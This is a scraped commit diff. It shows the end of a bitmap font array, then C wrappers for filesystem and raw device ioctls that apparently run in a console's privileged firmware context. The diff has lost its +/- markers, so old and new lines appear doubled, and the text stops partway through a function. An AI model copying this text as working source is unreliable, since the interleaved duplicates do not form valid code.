0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00,
0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00,
0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00,
0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00,
0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08,
0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, 0x18, 0x00, 0x0C, 0x00,
0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0xFF, 0x66, 0xFF, 0x66, 0x66,
0x00, 0x18, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0C, 0x66, 0x62,
0x00, 0x3C, 0x66, 0x3C, 0x1C, 0xE6, 0x66, 0xFC, 0x00, 0x18, 0x0C, 0x06, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0x18, 0x0C, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x0C, 0x18, 0x30, 0x30, 0x18, 0x0C, 0x00,
0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00,
0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00,
0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x6C, 0x6C, 0x66, 0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00,
0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00,
0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00,
0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00,
0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00,
0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00,
0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00,
0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00,
0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00,
0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00,
0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00,
0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00,
0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00,
0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00,
0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C,
0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C,
0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E,
0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00,
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00,
0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00,
0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00,
0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00,
0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00,
0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00,
0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00,
0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00,
0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00,
0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00,
0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08,
0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08,
};

View File

@ -5,433 +5,410 @@
#include "imports.h"
#include "fsa.h"
static void* allocIobuf()
{
void* ptr = svcAlloc(0xCAFF, 0x828);
static void *allocIobuf() {
void *ptr = svcAlloc(0xCAFF, 0x828);
memset(ptr, 0x00, 0x828);
memset(ptr, 0x00, 0x828);
return ptr;
return ptr;
}
static void freeIobuf(void* ptr)
{
svcFree(0xCAFF, ptr);
static void freeIobuf(void *ptr) {
svcFree(0xCAFF, ptr);
}
int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
int FSA_Mount(int fd, char *device_path, char *volume_path, u32 flags, char *arg_string, int arg_string_len) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
strncpy((char*)&inbuf8[0x04], device_path, 0x27F);
strncpy((char*)&inbuf8[0x284], volume_path, 0x27F);
inbuf[0x504 / 4] = (u32)flags;
inbuf[0x508 / 4] = (u32)arg_string_len;
strncpy((char *) &inbuf8[0x04], device_path, 0x27F);
strncpy((char *) &inbuf8[0x284], volume_path, 0x27F);
inbuf[0x504 / 4] = (u32) flags;
inbuf[0x508 / 4] = (u32) arg_string_len;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = arg_string;
iovec[1].len = arg_string_len;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = arg_string;
iovec[1].len = arg_string_len;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret = svcIoctlv(fd, 0x01, 2, 1, iovec);
int ret = svcIoctlv(fd, 0x01, 2, 1, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_Unmount(int fd, char* path, u32 flags)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_Unmount(int fd, char *path, u32 flags) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = flags;
strncpy((char *) &inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = flags;
int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_MakeDir(int fd, char* path, u32 flags)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_MakeDir(int fd, char *path, u32 flags) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = flags;
strncpy((char *) &inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = flags;
int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_OpenDir(int fd, char* path, int* outHandle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_OpenDir(int fd, char *path, int *outHandle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
strncpy((char *) &inbuf[0x01], path, 0x27F);
int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293);
if(outHandle) *outHandle = outbuf[1];
if (outHandle) *outHandle = outbuf[1];
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_ReadDir(int fd, int handle, directoryEntry_s *out_data) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = handle;
inbuf[1] = handle;
int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293);
if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s));
if (out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s));
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_RewindDir(int fd, int handle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_RewindDir(int fd, int handle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = handle;
inbuf[1] = handle;
int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_CloseDir(int fd, int handle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_CloseDir(int fd, int handle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = handle;
inbuf[1] = handle;
int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_ChangeDir(int fd, char* path)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_ChangeDir(int fd, char *path) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
strncpy((char *) &inbuf[0x01], path, 0x27F);
int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_OpenFile(int fd, char *path, char *mode, int *outHandle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
strncpy((char*)&inbuf[0xA1], mode, 0x10);
strncpy((char *) &inbuf[0x01], path, 0x27F);
strncpy((char *) &inbuf[0xA1], mode, 0x10);
int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293);
if(outHandle) *outHandle = outbuf[1];
if (outHandle) *outHandle = outbuf[1];
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
int _FSA_ReadWriteFile(int fd, void *data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
inbuf[0x08 / 4] = size;
inbuf[0x0C / 4] = cnt;
inbuf[0x14 / 4] = fileHandle;
inbuf[0x18 / 4] = flags;
inbuf[0x08 / 4] = size;
inbuf[0x0C / 4] = cnt;
inbuf[0x14 / 4] = fileHandle;
inbuf[0x18 / 4] = flags;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = data;
iovec[1].len = size * cnt;
iovec[1].ptr = data;
iovec[1].len = size * cnt;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret;
if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec);
else ret = svcIoctlv(fd, 0x10, 2, 1, iovec);
int ret;
if (read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec);
else ret = svcIoctlv(fd, 0x10, 2, 1, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags)
{
return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true);
int FSA_ReadFile(int fd, void *data, u32 size, u32 cnt, int fileHandle, u32 flags) {
return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true);
}
int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags)
{
return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false);
int FSA_WriteFile(int fd, void *data, u32 size, u32 cnt, int fileHandle, u32 flags) {
return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false);
}
int FSA_StatFile(int fd, int handle, fileStat_s* out_data)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_StatFile(int fd, int handle, fileStat_s *out_data) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = handle;
inbuf[1] = handle;
int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293);
if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s));
if (out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s));
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_CloseFile(int fd, int fileHandle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_CloseFile(int fd, int fileHandle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = fileHandle;
inbuf[1] = fileHandle;
int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_SetPosFile(int fd, int fileHandle, u32 position)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_SetPosFile(int fd, int fileHandle, u32 position) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = fileHandle;
inbuf[2] = position;
inbuf[1] = fileHandle;
inbuf[2] = position;
int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_GetStat(int fd, char *path, fileStat_s* out_data)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_GetStat(int fd, char *path, fileStat_s *out_data) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
inbuf[0x284/4] = 5;
strncpy((char *) &inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = 5;
int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293);
if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s));
if (out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s));
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_Remove(int fd, char *path)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_Remove(int fd, char *path) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
strncpy((char *) &inbuf[0x01], path, 0x27F);
int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_ChangeMode(int fd, char *path, int mode)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_ChangeMode(int fd, char *path, int mode) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], path, 0x27F);
inbuf[0x284/4] = mode;
inbuf[0x288/4] = 0x777; // mask
strncpy((char *) &inbuf[0x01], path, 0x27F);
inbuf[0x284 / 4] = mode;
inbuf[0x288 / 4] = 0x777; // mask
int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
// type 4 :
// 0x08 : device size in sectors (u64)
// 0x10 : device sector size (u32)
int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_GetDeviceInfo(int fd, char *device_path, int type, u32 *out_data) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], device_path, 0x27F);
inbuf[0x284 / 4] = type;
strncpy((char *) &inbuf[0x01], device_path, 0x27F);
inbuf[0x284 / 4] = type;
int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293);
int size = 0;
int size = 0;
switch(type)
{
case 0: case 1: case 7:
size = 0x8;
break;
case 2:
size = 0x4;
break;
case 3:
size = 0x1E;
break;
case 4:
size = 0x28;
break;
case 5:
size = 0x64;
break;
case 6: case 8:
size = 0x14;
break;
}
switch (type) {
case 0:
case 1:
case 7:
size = 0x8;
break;
case 2:
size = 0x4;
break;
case 3:
size = 0x1E;
break;
case 4:
size = 0x28;
break;
case 5:
size = 0x64;
break;
case 6:
case 8:
size = 0x14;
break;
}
memcpy(out_data, &outbuf[1], size);
memcpy(out_data, &outbuf[1], size);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_RawOpen(int fd, char* device_path, int* outHandle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_RawOpen(int fd, char *device_path, int *outHandle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
strncpy((char*)&inbuf[0x01], device_path, 0x27F);
strncpy((char *) &inbuf[0x01], device_path, 0x27F);
int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293);
if(outHandle) *outHandle = outbuf[1];
if (outHandle) *outHandle = outbuf[1];
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_RawClose(int fd, int device_handle)
{
u8* iobuf = allocIobuf();
u32* inbuf = (u32*)iobuf;
u32* outbuf = (u32*)&iobuf[0x520];
int FSA_RawClose(int fd, int device_handle) {
u8 *iobuf = allocIobuf();
u32 *inbuf = (u32 *) iobuf;
u32 *outbuf = (u32 *) &iobuf[0x520];
inbuf[1] = device_handle;
inbuf[1] = device_handle;
int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293);
int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
// offset in blocks of 0x1000 bytes
int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
int FSA_RawRead(int fd, void *data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
u8 *outbuf8 = &iobuf[0x520];
iovec_s *iovec = (iovec_s *) &iobuf[0x7C0];
u32 *inbuf = (u32 *) inbuf8;
u32 *outbuf = (u32 *) outbuf8;
// note : offset_bytes = blocks_offset * size_bytes
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
// note : offset_bytes = blocks_offset * size_bytes
inbuf[0x08 / 4] = (blocks_offset >> 32);
inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF);
inbuf[0x10 / 4] = cnt;
inbuf[0x14 / 4] = size_bytes;
inbuf[0x18 / 4] = device_handle;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[0].ptr = inbuf;
iovec[0].len = 0x520;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[1].ptr = data;
iovec[1].len = size_bytes * cnt;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
iovec[2].ptr = outbuf;
iovec[2].len = 0x293;
int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec);
int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec);
freeIobuf(iobuf);
return ret;
freeIobuf(iobuf);
return ret;
}
int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle)
{
u8* iobuf = allocIobuf();
u8* inbuf8 = iobuf;
u8* outbuf8 = &iobuf[0x520];
iovec_s* iovec = (iovec_s*)&iobuf[0x7C0];
u32* inbuf = (u32*)inbuf8;
u32* outbuf = (u32*)outbuf8;
int FSA_RawWrite(int fd, void *data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) {
u8 *iobuf = allocIobuf();
u8 *inbuf8 = iobuf;
